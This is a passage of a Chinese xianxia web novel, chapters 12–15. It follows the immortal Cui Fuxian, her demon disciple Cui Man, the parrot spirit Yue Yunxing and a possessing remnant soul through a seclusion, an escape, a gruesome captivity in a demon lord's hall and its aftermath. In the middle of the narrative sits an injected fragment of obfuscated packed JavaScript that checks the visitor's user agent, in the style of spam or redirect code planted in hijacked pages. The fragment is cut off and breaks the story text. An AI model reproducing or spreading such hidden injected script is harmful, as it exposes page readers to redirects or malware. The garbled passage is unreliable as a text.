身为师尊的善良徒儿,小魔不赞同地呛声:【真无礼,人家又没惹你。】 残魂重重冷笑,连着她一起骂:【蠢货。】 鹦鹉化作人形,是个浅绿裙衫的娇俏姑娘。她头上梳着双髻,右侧髻边别着两朵粉白芍药,大概比崔扶仙矮了半头,刚落地现身便猛地凑至女人跟前、眼睛眨也不眨地盯着崔扶仙。 不知是不是被魔域压制的缘故,崔扶仙一时没有看透这鹦鹉精的修为。 清淡芍药香扑鼻而来,女人蹙眉,刚欲开口,脑中先一步响起鹦鹉精调笑的声音:“瞧我发现了什么?一只俊俏的小凤凰。” 手指瞬间摸上腰间长剑,崔扶仙身形未动,眸中色彩遽然冷下。 “哇,好暴躁的脾气,吓到我了。” 鹦鹉精嘴巴未张,眼里满是笑意,故作害怕地伸手按住女人落在剑上的指尖,继续慢悠悠地传音:“我可以帮你。” 崔扶仙油盐不进,以灵力震开女妖的手,同样传音:“我倒不知我有什么需要你帮。” 好歹没把她整只鹦鹉都震开。 女妖若无其事地将手又落至崔扶仙肩上,随即在崔满陡然睁大的眼睛底下把大半个身子都倚了过去。 料到她们在传音,崔满不知内容、亦不敢于师尊跟前失礼,仅心下反感:【好生放荡。】 她比崔扶仙矮,远远看去像是缩在女人怀里,丝毫不畏惧近在咫尺的已出鞘半截的剑刃,笑意愈深:“你知道的,你有许多事情都需要我帮忙。至少我可以告诉你凤凰涅槃的法子。” “你在外流落这么长时间,大概早忘了该怎么涅槃吧?” 凤凰涅槃相当于重生,崔扶仙确实需要。 她一刻都没忘记与天道签下的契约,如果任务失败,她的下场就是被抹杀。 倒不是对崔满有偏见,她只是更信自己。 手指松开剑柄,崔扶仙暂且容忍片刻,探究端详鹦鹉精陌生的面容:“你究竟是何人?代价是什么?” “物归原主,不收代价,不过你得留在这里学。” 女妖松开崔扶仙肩膀、退去两步,瞥了眼她身后那只怒视自己许久的小魔:“我名月云行,你回妖族后会知道我是谁的。” 记忆里分明没有这个名字,但崔扶仙在听到的那一瞬竟莫名感觉很是熟悉。 尚在思索,兀然听见月云行无由来地问:“值得吗?” 什么值得吗?问她? 崔扶仙略显疑惑,掀开长睫对上月云行眼睛后却忽而生起一阵恍惚。 或许连她自己也不知道此刻究竟在说什么。 脊骨挺直似锋利长剑,她一直站在年少小魔身前、挡去小魔大半个身子。 女人的声音如往常般平静。 “值得。” 仅此二字,千万年轮回苦楚皆一笔勾作云烟。 13. 第十三章 杂货店里别有洞天,这里实则是月云行所创设的一间隔绝外界的秘境。踏入秘境便发现眼前一切都如镜中水月般缓缓散去,原本狭窄昏暗的房子瞬息万变,最终化作一处典雅清幽的庭院。 院中种了大片苍郁翠竹与树木,其中最显眼的还数种在竹木正中央那棵高耸挺拔、被青色云雾团团包裹住的梧桐,上头散着沁人心脾的说不上来的香味,将此间衬得宛如仙境。 几乎是一种本能,崔扶仙一抬眼就发现了那棵梧桐树,莫名生起些心痒,不受控制地想到:在上头睡觉应该会很舒服。 “漂亮吧?” 芍药香一缕一缕传来,月云行软若无骨地自后倚在她肩上,仿佛与她认识了千百年般熟稔,笑盈盈道:“在魔域里收拾出这么一块地、种下这么一棵梧桐可费了我许多功夫,我就知道你会喜欢。” 不晓得师尊与这入魔女妖传音说了些什么,听到崔扶仙决定在此处留些时日后崔满虽不解却未曾多说,仅低头默默跟在女人后边。 被月云行若无其事地挤开,又听了她这番话,小魔抱着胸,心下不屑冷笑。 怎么,还指望师尊夸她吗? 师尊最厌恶魔族魔修,怎么可能…… “确实漂亮,我很喜欢。” 尚在暗自腹诽,陡然听见前头传来女人明显温和不少的声音,小魔大脑宕机片刻,还未反应过来就被下边一句彻底击倒。 越靠近梧桐就越能感觉到一股亲近舒适的力量涌入体内,身上进入魔域后恢复极慢的伤口兀然加速愈合,崔扶仙眉心微展:“多谢,你有心了。” 客房不多,但分出两间绰绰有余。 洞穴中实乃无奈,崔满年幼时为了方便保护照看也就罢了,如今小魔头已经是个逐渐懂事且注重私密的少年人,崔扶仙亦没有与旁人同睡一榻的习性,自然要与她分开。 “小满。” 崔扶仙选定房间,回眸去找小魔,却见崔满拖拖拉拉落在几尺外,神色似有不乐、耷拉着眼皮不知在想什么。 猛然听见师尊唤自己,崔满下意识松开双臂,脸上表情霎时舒朗起来。 她快步上前,忍住将鹦鹉精撞开的冲动,立于台阶下乖巧仰头:“阿姊,小满在呢,怎么了?” 每次看小魔头变脸都觉得很有趣,崔扶仙心情不错,伸手摸了摸小魔脑袋,轻声告知:“接下来这段时日你且在秘境里呆着,我大概要闭关一段时间、无暇顾及你,切记勿要出去。” 如果可以,她也不想把崔满留在魔域。最好能将小魔送回昆仑、由她独自在此地修炼凤凰涅槃,免得一个没看住,崔满被哪只魔刺激得魔核苏醒、在她不知道的时候一命呜呼。 小魔头的命暂且与她绑定,在崔扶仙学会涅槃重生之术前她可一点都不希望看见崔满因为各种事情而丧命。 明明说好马上出城,怎么见过这个女妖之后就变卦了。 瞟了一眼面含笑意站在旁边的鹦鹉精,崔满没忍住,踏上台阶捏住师尊的衣袖,背着这个莫名其妙对师尊自来熟的女妖给崔扶仙传音:“师尊,您不是说魔族奸诈、不可相信吗?这鹦鹉精早早入魔,您可千万不要被她哄骗。” 怎么还自己骂上自己了? 崔扶仙诧异地看了看小魔,心知她疑惑为何突然改变主意留在魔域,斟酌两瞬后传音道:“魔族多坏种、确实不可信,你能记得我说过的话,很好。” 纵然知晓师尊对魔族的嫌恶,但再次直面听上一遍仍感觉心头梗塞。 崔满抿唇压下烦躁与几丝委屈,方要开口就听面前的女人声音坚定果断、不容置疑地与自己说:“但我与月云行一见如故,她与其他魔族魔修并不一样。” 遽然抬眸对上师尊的眼睛,胸中闷得崔满想要拔剑乱砍一通。 她实在不晓得这只刚见面一会儿的鹦鹉精是哪里来的能耐,竟将师尊迷成这般模样。 崔扶仙安抚幼兽似的按了按小魔的后脖颈:“不必担忧,只管在这里安心住些日子,等我出关后便与你一同回去。” 顿了顿,她又道:“望舒正在养伤,大概半个月后就能出来,届时我先将它放去陪你,如何?” 话至此处,再反驳顶撞便似忤逆。 想着自己镯子里那枚辛苦得来却无法使用的魔核和危险重重的魔域,崔满忽然讨厌起师尊的刚愎自用、识妖不清,更讨厌那只花枝招展、行事放荡的鹦鹉精。 纵然后槽牙磨得发滑,小魔嘴上仍得恭顺应下,垂头任由女人捏小猫一样轻轻捏着自己的后脖颈: “……好,小满都听师尊的。” ——————————— 月云行为大乘期妖修,她以妖力开辟出来的秘境基本安全,这是崔扶仙会同意留下修行涅槃之术的首要原因。 不过,崔扶仙估错了一件事。 凤凰涅槃之术并非那般好修炼。 她之前完全按照人族法子修行,尝试幻化出望舒已至极限,现在连凤凰真身都不曾摸索得出、原型尚且不知是何模样,又怎么去修炼凤凰一族的血脉绝技? 何况崔扶仙筋脉中运转的多为灵力,尽管灵力与妖力并不排斥,但想将灵力全部转化为妖族真气或者实现两者并存,亦需一番功夫。 因此,闭关时间被不断延长。 在月云行指导下掌握本体与术法、陷入玄之又玄的境界后崔扶仙更是忘却日月轮转,一心沉浸于修炼之中。 修士修行难计岁月,亦无系统警报。幸而她进入顿悟之境前勉强养好神魂、放出望舒保护小魔,不担心崔满遭遇危险而她不知。 在秘境中不问世事闭关的第四年,凤凰涅槃之术将近掌握,仅剩最后把丹田中的人修内丹彻底炼化为妖丹就能出关。 这个环节至关重要,相当于将毕生修为击碎、再以不同的运行方法凝聚,期间不可被打扰。若强行中断,轻则修为倒退,重则丹田俱毁。 进入这一环节前崔扶仙借用望舒的眼睛瞧了瞧尚在秘境中练习剑术的小魔,以灵力给小魔传去讯息、宽慰她再过一段时间自己便能出关。 崔满回信很快,信中大多是些亲昵思念与撒娇之语。 崔扶仙盘腿端坐于禁室里,在月云行调侃眼神下逐字读完,确认信末有小魔的应诺后才勾唇笑了下,随后放下心全力炼化妖丹。 昆仑规定二十成年,如今小魔头正巧到了这个岁数。 念及小魔头不论背地如何、至少在自己面前素来懂事听话,崔扶仙沉下心神前脑中闪过一道念头,盘算着带崔满归去后也为她好生补上个成年宴哄她开心。 回头尽快将从以武入道的诸多功法中参悟出来的东西整理好,如果崔满能用便最好,可以当做是给她的成年礼。若不能用,少不得要失望,还需为她另外准备一份厚重些的礼物。 先前送出去的那把剑是崔扶仙亲自锻造,看崔满练剑时一直在用,应是趁手且喜欢的。既然武器有了,下一次就将防御型法器补上,省得日后她什么时候没看住、在外头受人欺负。 常被骂作孤僻的人暗叹,养个徒儿着实不容易。 ……心放早了。 望舒不过被小魔顺毛顺得太舒服、懒洋洋拢起翅膀趴在崔满手中眯了片刻,察觉不对劲再睁眼时就发现方才还将它捧在手里的小魔头如今消失得无隐无踪,不知使用什么法子将它屏蔽感知后跑走了。 身上的毛瞬间炸起,它张开翅膀试图循着崔满的气息去找她,奈何空中只余一片浓得发臭的花粉香味,小魔的气息淡得微不可觉。 小雀转了转脑袋,蓝瞳中浮现灵光,在第四次与崔满腕上灵镯连接时若有若无地感应到灵镯此时的方位,竟早已离开秘境。 禁室中女人豁然睁开双目,因这一刹心绪不宁,体内力量反噬,唇边霎时溢出血迹。 “做什么?还要不要命?!静心!” 本阖目在旁边为她护法,陡然出现异状,月云行怒呵。 她怒,崔扶仙更怒。 令望舒赶紧追上小魔,崔扶仙咽下喉中腥甜,竭力平复体内才炼化到一半的丹田:“你这秘境是纸糊的吗?一个半大的孩子想出去就能出去?” 从她话中察觉到什么,月云行紧蹙眉头,不曾中断妖力传输,分心放出神识一看,险些被吓破了音:“不是,这儿怎么有个洞?!那小鬼是怎么钻出去的?!” “她不是答应你不会乱跑吗?” 提到这个就满头火气,居然被小魔头诓骗了一遭,崔扶仙低骂:“满嘴谎话的孽障。” 撒谎欺瞒师尊的孽徒现在并不好过,她没法儿控制身体。 虽然在秘境中等待四年已是满肚牢骚,但崔满是个非常惜命的人,比起违背师尊旨意、不管不顾逃离师尊庇护而自陷险境,她宁可多在秘境里呆些时日等待师尊出关。 魔核早就拿到手,随师尊回昆仑就能获得一处安全之地苏醒魔族血脉、重新开始修炼。纵然不幸被仙门发现也无事,师尊至少会保下她的性命。 届时有命在、能修炼,她再费力找机会逃出去就是。 但是,崔满的计划全被神识里的疯子击碎。 被控制住身体的那一刻躲藏在神识深处不知不觉间愈发强大的红雾翻涌扑上,意识模糊,视线颠倒,四肢不再受她的操纵。 好不容易恢复些清醒,崔满感受到自己的身体正飞速往秘境外冲,心下惊慌怒吼:【你疯了吗?停下!这是我的身体!】 【闭嘴。】 凝实许多的残魂头也不回地讥讽:【没用的东西,就知道跟在崔扶仙屁股后面转。你是崔扶仙的徒儿还是她的狗?】 【四年了,她让你等,你还真就听她的话蹲在这里一步不出。】 被骂得怒气冲天,但此刻哪里顾得上这些,崔满试图警告:【你别乱来,我只有练气修为,如果出了秘境遇到大魔或者其他危险,你我都得死!】 身体里的灵力动用不了,但残魂可以自己凝聚实体。 红雾一分为二,一边操控崔满身体一边攻击秘境结界,几乎耗尽这几年养回来的全部力量才爆发出赤红艳丽的本命冥火,瞬间将秘境结界吞噬出一个足以钻过的小洞。 眼看大功告成,无视崔满许久的残魂鄙夷回复:【少在我面前装,你不过是贪婪懦弱。既想重新修炼,又不想失去崔扶仙的庇护、遭受她的厌弃。】 跟这个疯子完全说不通,崔满索性不再听她放屁,自顾想办法夺回躯体。 她才二十,修为低微,魂魄也弱得可怜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伤成那样了都还惦记着年少小徒,仅一想到便叫残魂妒忌得无以复加,恨不得立刻将崔满的魂魄撕成碎片,由自己来占据她的位置、去向崔扶仙讨个说法。 崔扶仙既然愿意给爱徒当小雀,想必也会愿意做她豢养的爱奴。 崔满什么都不懂,她懂,她最知道怎么叫她欢愉。 师尊身上的每一寸她都熟悉得很,她把自己给忘了都没把那粒小痣忘了。在山洞里看见时她就想亲上去,残存记忆里每次她一亲师尊就会发颤,亲一下颤一下,敏感得要死。 怀揣着肮脏下流的念头,魔核中魔气吸纳完毕,魂魄深处的血脉力量被刺激得不住翻滚。残魂分出红雾兼顾外边,将大部分力量重新纳入神识、冲向魔核所在之处,想要一举苏醒魔核。 崔满的躯体逐渐生出异样,黑红的仿若岩浆一般的力量在她皮肉底下蔓延,脸上被掩去的黑色纹路重新显现。随时间推移,神魂深处的力量一步步靠近魔核,魔族血脉震动得越发厉害,她的皮肤隐隐出现细微裂纹。 小魔脸颊上不可抑制地流露痛苦之色。 然而,残魂没有成功。 就在她快要将身体里凝聚起来的魔气送入魔核之际,一道玄妙的冰蓝色封印蓦然浮现于魔核四周,强大的合体期气息与剑气一同爆发,将残魂的力量与魔气顿时击散大半,崔满趁机重新掌握了身体。 眼前一黑,鲜血喷溅。 小魔浑身发疼,踉跄靠着墙面跌坐,面上表情凝固于惊愕与不可置信。 被攻击得几乎只剩最后一缕的残魂重重喘了口气,忽而闷笑,声音癫狂,满是说不出的幸灾乐祸和愤恨:【我道她怎么改了性子、对你这么好,原来早知道你是魔,给你拴上狗链、当狗养了。】 【是了,崔扶仙就是这种人,为了她的大道可以不择手段……装得真像啊,还以为她是真疼你呢。】 神识中的疯子还在颠三倒四说些什么,崔满已听不进去。 魂魄深处的封印感知到威胁,这会儿尚且旋转在魔核周边。 上面的气息她太过熟悉,熟悉到现在想哄骗自己都不得。 【你魂魄亦有损伤,未来修行时……恐怕不会顺利。】 【你务必记住,任何时候都要离魔族远些。】 【在一些以武入道的功法典籍中寻到启示,或许可以帮你突破境界。】 八年,又四年,整整十二年。 她当了整整十二年的废物,看尽旁人嘲弄怜悯的目光。 外头突然下起大雨,围绕全身的红雾早就散去。小魔失神坐在雨中,睫毛上满是水珠,直勾勾盯着瞧不清楚的前方,陡然咧开嘴无声大笑,边笑边咳,口中鲜血将牙齿尽数染红。 想起残魂方才说过的话与这么多年来的感动、敬重,她越发觉得恶心、很想作呕,当即发了疯似的将腕上当宝贝般戴了多年的镯子粗暴取下,狠狠砸至地面。 镯子啪的一声摔下,恰巧立着,咕噜咕噜滚到另一边脏乱角落里去。 崔满再次咳出口血,用力抠着什么都不曾戴的脖子,再不曾看那角落里的镯子一眼。 好半晌,她声音嘶哑,喃喃自语:“……你之前说得对,师尊最会哄人。” “师尊骗我。” 14. 第十四章 望舒循着镯子显示的方向追过去后没有发现小魔头的身影,地上仅残余一滩尚未被雨水冲刷干净的黑红血液与一道戛然而止的拖拽痕迹,银镯则孤零零丢在处脏乱角落里。 抖了抖被雨水打湿的毛发,小雀仔细观察周遭,终于从潮湿空气中闻出一股混杂在陌生气息里颇为熟悉的大魔气息。 蓝瞳冰冷,显露出人性化的杀意。 望舒叼起那只镯子,将之收回随身空间,继而挥出灵力保存空中残存的魔气,依术法追踪魔气消失的方向,立刻展翅飞去。 饶是崔扶仙这样的人,心下都不禁暗骂,此时不顾月云行阻拦,强行中断妖丹炼化、收回体内的妖力与灵力,撑着地面连续吐出几口血,境界破碎,修为瞬间自合体巅峰跌至合体中期。 实在劝不动,这只凤凰的脾性纵然磨上千万年也依旧固执。 月云行见女人要起身,连忙伸手搀扶:“你别太担忧,小鬼才跑出去没一会儿,应当不会出事。” 借力站稳,崔扶仙抬手抹去嘴角不住溢出的血液,眉间氤氲怒意:“如何不担忧?我先前曾为她做了件护身法器,如今法器离身,以她那点功夫,还不够大魔吃上两口。” 灵力未被触动,是崔满自己摘下镯子扔掉的。 她着实想不通小魔为何要这样做。 但现在不是思考这些的时候,女人眸上浮现层薄薄蓝雾,透过望舒的眼睛打量周边环境。几年未出,外头比她们当初进来时还要肃静压抑,时常有身披盔甲的巡逻修士在街上走过。 小雀掩藏身形,越飞越远,灵力包裹住的魔气指引它向城外冲去。即将出城的前一刻望舒蓦然顿了下,脑袋微歪,敏锐闻见股极淡的在月云行秘境中闻到的花粉味。 有人在危急之际将花粉尽数撒出。 原来她还晓得怕。 崔扶仙紧攥腰间长剑,心下冷笑,操纵望舒调转方向、沿着残余的花粉味继续寻找。 挥袖撤去秘境结界,月云行见她这副神色,忍不住出声:“你总是这样……就这么喜欢那小鬼?” 莫名其妙听了这句,崔扶仙对女妖还算坦诚:“不是喜欢不喜欢的问题。她与我的命绑在一块儿,她如果死了,我也活不下去。” 凤凰涅槃还差最后一步没完成,崔满不能死。 不知为何,听完这番解释后月云行的表情没有丝毫好转,越发恨铁不成钢,头一回在她面前摔了袖子,没好气道:“行了行了,谁还不知道你是个大情种似的。快走吧,省得再晚点儿你的宝贝被哪个不长眼的嚼成肉泥。” 崔扶仙:? 望舒最终停于黑锋城城主府门口,在它眼睛里,整座城主府被强大魔气笼罩,透过结界都能隐约听见里头热闹非凡的鼓乐声。 门口守卫重重,仅凭它一只鸟闯不进去,小雀用喙啄了啄城主府外以魔气凝结而成的结界,又抬起翅膀拍碎一角魔气,随即维持隐身状态、拢起翅膀落在一座石雕上,焦急等待本体到来。 “确定在城主府里?” 崔扶仙到得很快,静立于城主府不远处,右手一直按在剑柄上蓄势待发:“大概在里边。” 仰头看向城主府牌匾,月云行摇了摇头,轻声告知:“我实则并未入魔,能逗留魔域数百年是与苍欢做过交易。她给了我一块令牌帮我伪装魔气,亦让我发天道誓在此期间不可杀害魔族魔修。” 否则大乘期妖君混在魔域,任谁看了都得怀疑是妖族阴谋。 崔扶仙侧眸:“荒唐,若有魔族或魔修主动招惹你怎么办?” 不甚自在地移开视线,月云行嘟哝:“……我有我的法子。既然已经遇到你了,我打算过段时日就回妖域,届时想杀就杀、想打就打,再不受天道誓限制。” “我的意思是,我可以把苍欢的令牌给你,帮你进城主府。但如果打起来的话,我恐怕只能辅助你、带你们逃跑。” 她已相助良多,崔扶仙本就不将希望寄托于旁人身上,闻言后颔首:“多谢,这就够了。如果小满真在里边,过会儿我找机会将她丢给你,你先带她跑。” 并不拖沓,月云行将令牌递去,见她拿着令牌就不管不顾地往前走,不由得嘱咐:“你伤势太重,当心点儿。” 前头的人明明方吐了一堆血,脸色苍白,丹田洞府里应是疼痛难忍,但此刻按着长剑挺直背脊,头也不回地丢下两个字。 “知道。” 苍欢是焱州北境的领主,她的令牌在黑锋城中自然畅通无阻。崔扶仙面不改色地捏着令牌在城主府守卫面前晃过、令他们打开结界,随后于恭敬弯腰的守卫眼皮子底下径直走了进去。 月云行化作原型落至她肩上。 结界一开,里头被屏蔽的各种气味与鼓乐声便再也藏不住。 崔扶仙足下不停,眸色愈发冷厉,在其中闻见浓厚血腥味、花粉香与属于小魔的气息。 府中侍仆众多,见她手中令牌后皆低头行礼。 天色暗去,城主府各处都挂着奢靡明珠点缀照亮。 庭中正在举宴,崔扶仙到时已坐满魔族。为首者正是当初那只大魔,左下方面藏厌恶之色的是曾经见过的黑锋城主。其余魔族依次列席,修为大多在元婴之上。 而那被打断四肢丢在中央、狼狈不堪者,赫然是她养在膝下的小魔。 握着剑柄的手不觉用力,指骨泛白。 强按捺下心中戾气,崔扶仙垂眸扫视小魔扭曲的手腕与脚腕,没有错过她腿上被挖出来的血窟窿。身下倒没有什么血,只因她被挖去的皮肉与流出的血尽数落在白玉碗中,又被分作几份,置于其余魔族跟前。 自大魔至城主,再至大魔和城主的手下,尊卑等级不同,分得的血肉数量也不同。 早知有人入府,大魔显出人形,安然坐于主座,见到女人后丝毫不慌,反而咧开了沾满黑红血液的嘴:“许久不见,才晓得你竟是大名鼎鼎的孤月仙君。仙君可要分一碗肉羹?” 边说着,他端起碗给女人展示:“你这小徒肉质甚是鲜美。” 本了无动静伏在地上的小魔听见孤月二字后陡然动了动,意识似是不太清醒,挣扎着偏过些头,模糊视线里闯入女人面容的那一刻,疼得麻木的心尚未反应过来,眼眶中的泪先行涌出。 崔扶仙对大魔的话恍若未闻,目光一直凝于崔满身上。如今对上小魔视线,见小魔头大半张脸都被凌乱发丝遮掩、无声地哭,比许多年前将她从田野里捡回来时还要凄惨数倍,下意识往前走去一步。 仅是一步,却令小魔被上头袭来的魔气锁住咽喉、刹那间拖至大魔手边。 许是没力气说话,崔满半点声音都没发,地上仅余一道拖出来的血痕。 除大魔外,城主与席中魔族尽数站起,庭中的守卫手持刀刃、对准崔扶仙,鼓乐声骤停。 绿毛鹦鹉展翅而飞,在旁边化作人形,皱眉看过崔满惨状后目光直直投向黑锋城城主:“苍晏,让他们放下刀。” “……你怎么在这儿?” 从刚才恶心到现在,碗中的东西一点没碰。苍晏看见月云行的那一刻眸光微闪,竟当真抬手示意,庭中属于黑锋城主府之魔令行禁止,随之放下刀刃。 察觉旁边那只越界闯入黑锋的大魔目光不善,苍晏摸着桌边长戟,忽而吐出一口气,玩味笑了下:“别看我啊,这是我家小姑的心肝,谁碰杀谁,我不敢不听她的话。” 她小姑乃是此地领主,苍欢将军。 大乘后期的魔族。 话罢,苍晏复而大刀阔斧坐下,显然不打算插手。 被外来魔族闯入黑锋,又被‘借用’城主府,若非这是个大乘期大魔、亦是魔君宠信的长老,她早就将他的头颅砍成两半。 帮他? 想得美。 苍欢的名头确实好用,大魔不满,却暂且没找她的麻烦,瞥了女妖一眼后掐着崔满的脖子重新看向崔扶仙:“仙君悠着点儿,若再上前几步,她可要没命了。” 利爪刺入皮肉,小魔的脖子霎时冒出血色。 如他所愿,崔扶仙定在原地:“你要怎样才肯放过她?” “放过她?” 仅剩一颗眼珠的大魔做思索样,几瞬后森然而笑:“你当年斩下我两只手、一颗眼珠,还毁了我的界域,如今想求我放过你这小徒倒是不难——仙君姿容昳丽,便在此处自废修为,与我回去做个侍奴罢。” 奄奄一息的残魂暴怒:【放肆!】 月云行的脸色全然阴冷下去。 说完,大魔侧头询问,语气嘲弄:“苍欢将军应当不会包庇人族吧?” 苍晏把玩杯盏,漠然道:“姑姑是魔域领主,怎会包庇人族?” 相较于其他人,被讨论的当事人倒是镇定,仍注视着大魔手中的小魔头,直到与崔满再次对视上之后才平静开口:“好。” 崔扶仙慢慢松开剑柄:“你与我立天道誓。若我废去功法、给你做侍奴,你就放了我徒儿。” 侍奴二字自她唇中道出时轻得像一阵烟,原本极力睁大双目的小魔脸颊不受控制地抖了下,下一瞬紧紧阖上眼睛。 大魔叹息:“你好像弄错了一件事,现在是你在求我。” “我数五个数,你若再不动手自废修为,我便将她杀了。” 暴力揪住崔满头发,大魔挂着狰狞笑容将她生生从地上扯起来,迫使她露出面容,好叫崔扶仙看个清楚。 “五。” “四。” 白玉碗底仅存几滴黑红血珠,不知为何,大魔在某一瞬间隐约感觉到几许思绪上的迟钝,筋脉中流淌着的血液若有若无地暖和起来。 可这会儿正值兴奋,他残酷吐露出又一个数字,并未当回事:“三。” “二。” 舌头落下时好似僵了片刻。 无一处不疼,小魔兀然睁开双目,脸颊上覆着的纹路极快游动了瞬,黝黑瞳孔中丝毫旁的情绪也没有,唯有暴虐。 一直看着她的女人垂下眼睫,抬手抵住眉心,仿佛已经认命。

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冷冷低嗤了声,女人喝完茶,心头火气未消,又觉身上仍旧脏臭,便缓慢起身走去屏障后头沐浴,任由小魔头自己叫魂。 然而,沐浴归来时崔满竟还没消停,更是哭了起来,不晓得究竟想说什么。 披散墨发站在床边居高临下地看了会儿,崔扶仙皱眉伸手去碰小魔额头,果然摸到烫手的温度。细细端详,崔满皮肤上多了好些不曾有过的宛如绽裂开的纹路。 应是她手背温度低,刚贴过去小魔就无意识地动了动脑袋,好似要将整个身子都凑过来。 才接上筋骨,还没长好就随意乱动,日后遭罪的还是她自己。 崔扶仙喂了颗灵药,送去些结了霜的妖力,见她依旧不停折腾,像小狗闻到肉骨头一样拱过来才肯罢休。 刚想缩回手,却兀地被小魔一口愤愤咬住。两颗尖尖的虎牙抵着,留下排深深牙印,差一点就要咬破。 耐心告竭,慈师心肠泯灭。女人压着眉头顺从心意,毫不客气地给了她一巴掌:“老实点儿。” 简直立竿见影,小魔头尚在昏迷,闭着眼睛显出些被打蒙了的神态,委委屈屈地松开牙,哼唧着小声啜泣,不再乱动。 “……师尊……” 如此又过半晌,瞧这可怜样,倒像她欺负魔似的。 无奈捏了捏眉心,崔扶仙坐在床边,猜测她还在害怕,只得放下算账的心思,以指尖为崔满轻柔顺好被大魔撕扯得乱糟糟的头发。 “睡吧,没人能欺负你了。” 15. 第十五章 靠在床边守到半夜,身子太难受,崔扶仙索性用被子将小魔头卷了一卷,把她踹到床里头,自己在外边躺下。 本来只打算休憩片刻,但闭上眼睛后紧绷许久的精神猛然一松,竟不知不觉地在忍耐丹田与魂魄止不住的疼痛中慢慢昏睡过去,还做了个荒诞古怪又颇为……香艳的梦。 梦里有另一个女人,崔扶仙看不清她的脸庞,却依稀记得自己的手指在软玉上拨弄揉捏时品尝到的难忘滋味。那应当是个俊俏的姑娘,或许被疼爱长大,性子有些娇、又很是大胆,时时缠着她、像个树袋熊一样总想往她身上扒拉。 碰两下就要叫,再碰便会哭,不碰更要哭。 她的灵根莫不是水做的? 崔扶仙不喜欢太闹腾的人,亦没有寻道侣的打算。她清心寡欲百余年,几乎满心扑在修炼上,非常讨厌打乱自己安排和计划的人与物。道侣和情欲于她而言,都是一种粘上就难以脱掉的麻烦。 不过很意外的,她不讨厌梦里的姑娘。 她对她有股超乎常人的容忍和掌控欲。 崔扶仙容她小蝴蝶似的在自己身旁转来转去,容她窝在自己怀中撒娇卖俏,也容她贪婪觊觎、鬼鬼祟祟地解开自己腰间系带。 她知道姑娘喜欢什么。 被咬住的脖颈,敏感的红痣,羽翼根部的颤栗,黑纱蒙住的双目,任由摆布的四肢。 容忍是一种无声的交易。 崔扶仙理所当然地笃定,她的纵容必须得到回报。 她为她圈好最安全无忧的领地,为她争夺权力与王位,扶持她走过百年、千年,用庞大的羽翼为她遮挡去无数刀剑和风雨。 但直至最后,任性的姑娘趴在她胸口,尚未散去情.欲的眼睛里翻涌着些看不清晰的情绪,似是不经意般软声抱怨:“——,您不要总是将我当成孩子,我已经长大了,我能处理好这些。” “——,妖域还需要您,您不如先回去吧?等我忙完就去找您。” 她长大了吗?为何还像孩子一样藏不住心事? 并未恼怒,崔扶仙在梦境中大概笑了下,以指腹继续为她不紧不慢理顺落在脸颊旁的发丝,遂了她的意:“都依你。” 稚嫩的小蝴蝶不知道外界凶险。 无妨。 等被咬断双翼,吃够苦头,小蝴蝶自然会哭着飞回她的掌中。 —————— 睁开双目时还有些不知今夕何夕的恍惚,崔扶仙抬起手背掩了掩模糊的视线,想要回忆梦中出现的人和事,却如何都记不起来,心下不免生起点烦躁。 没有错过旁边投来的视线,她侧眸瞥去。 默默看了半晌,眸中倒映出女人睡梦间的脸颊与唇瓣,竟有几分病弱恬静。 崔满分明厌恶、甚至怨恨师尊对自己的控制和欺骗,但在外头转过一遭、险些被大魔剥皮拆骨地吃下去,这会儿闻着师尊身上熟悉的气息,居然没出息地感觉到了心安和依恋。 小魔思绪复杂,陡然与女人对视,不知该说些什么,反条件般做出畏缩不安模样,嗫嚅唤:“……师尊。” 自顾掀开被子,崔扶仙仅穿了件内衬薄裙,走至桌边饮下一杯茶水,这才淡淡道:“原来我是你师尊?我倒没想到能有个本事这样大的乖徒儿。” 骨头长了一夜,约莫快长好了。 身后传来重重的挣扎跪地声,女人在桌边坐下,支着额头看去,那违逆师尊的小魔头红着眼眶从床里头爬下来端正跪好,被包扎起来的伤口隐约泛出血色,此时期期艾艾地缩起肩膀和脑袋,当真可怜。 极会撒谎的小魔面露惶恐,小声乞求:“师尊,徒儿知道错了,您别说这样的气话。” 可惜她师尊大多时候软硬不吃,有一下没一下地敲着桌面,就冷眼看她跪,对她溢出大片血迹的腿和还未长好的手腕脚腕视若无睹。 好半天,小魔疼得发抖,背脊后衣衫被冷汗打湿,终于听见上边传来女人的声音。 “抬起头。” 不敢不从,崔满乖顺抬头,目光一直恭敬落在师尊脚边。 两杯冷茶饮下,睡醒后看见不孝徒的怒意稍降,崔扶仙没有立刻问她为何私自离开秘境,当做才发现的样子扫了眼小魔空荡荡的手:“我给你的镯子呢?” 与预想中的不同,崔满身形一僵,下意识摸上手腕,惊愕睁大双眸:“我的镯子……师尊,徒儿被大魔抓走前还戴在手上的。” 强忍住给撒谎精小魔头一巴掌的冲动,崔扶仙嘴角微勾,露出几丝冷笑:“如此说来,应是大魔抢走了你的镯子。倒怪我昨日杀他时杀快了,忘记把你的镯子给找回来。” 敏锐察觉师尊口气不对,小魔不知自己哪里说错话,脑中念头转了又转,小心应答:“……怎么会是师尊的错?若无师尊相救,徒儿已死在大魔手中。” 女人倚在桌边,垂眸缓缓问:“你不怪我?” 哪里顾得上身体的疼痛,背上冷汗愈多,崔满向女人所在之处膝行两步,带着哭腔颤声道:“徒儿怎敢责怪师尊?徒儿绝无此心!” 崔扶仙颔首道了声好:“你既然不怪我、还将我当做师尊,便与我说说为何要私自离开秘境,又是怎样离开的秘境。” 满腹草稿终于有了用武之地,崔满正欲开口,却听女人先她一步添上句话。 “崔满,你在我座下多年,应当知道我是怎样的脾性。” 已有些不耐再听小魔头胡编乱邹,崔扶仙最后一次警告:“我不喜欢有人骗我,你想好了再说。” 师尊甚少唤她全名,更从未用这种语气唤过。 临到唇边的话打了个拐,崔满攥紧衣袍,视线自女人脚边往上移,极快地瞄了眼崔扶仙的脸色,下一瞬便被师尊眼中寒意镇住。 师尊在生气。 从小到大没被师尊如此讯问,小魔喉咙涩然,亦有些不合时宜的不服气与委屈。 师尊骗她良多,却不许她撒谎,这是什么道理? 